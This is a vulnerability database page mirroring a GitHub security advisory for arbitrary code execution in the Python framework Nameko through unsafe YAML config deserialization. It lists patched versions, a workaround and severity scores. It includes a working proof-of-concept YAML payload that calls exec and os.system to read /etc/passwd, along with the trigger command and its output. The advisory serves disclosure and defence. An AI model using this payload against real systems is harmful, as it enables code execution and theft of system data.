Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-6p52-jr3q-c94g

Опубликовано: 19 окт. 2021
Источник: github
Github: Прошло ревью
CVSS4: 9.3
CVSS3: 8.6

Описание

Nameko Arbitrary code execution due to YAML deserialization

Impact

Nameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:

# malicious.yaml !!python/object/new:type args: ['z', !!python/tuple [], {'extend': !!python/name:exec }] listitems: "__import__('os').system('cat /etc/passwd')"
$ nameko run --config malicious.yaml test root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin ...

Patches

The problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.

Versions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.

Workarounds

The vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.

Пакеты

Наименование

nameko

pip
Затронутые версииВерсия исправления

< 2.14.0

2.14.0

Наименование

nameko

pip
Затронутые версииВерсия исправления

>= 3.0.0rc0, <= 3.0.0rc9

3.0.0rc10

EPSS

Процентиль: 81%
0.01473
Низкий

9.3 Critical

CVSS4

8.6 High

CVSS3

Дефекты

CWE-502

Связанные уязвимости

CVSS3: 7.8
nvd
больше 4 лет назад

Nameko through 2.13.0 can be tricked into performing arbitrary code execution when deserializing the config file.

EPSS

Процентиль: 81%
0.01473
Низкий

9.3 Critical

CVSS4

8.6 High

CVSS3

Дефекты

CWE-502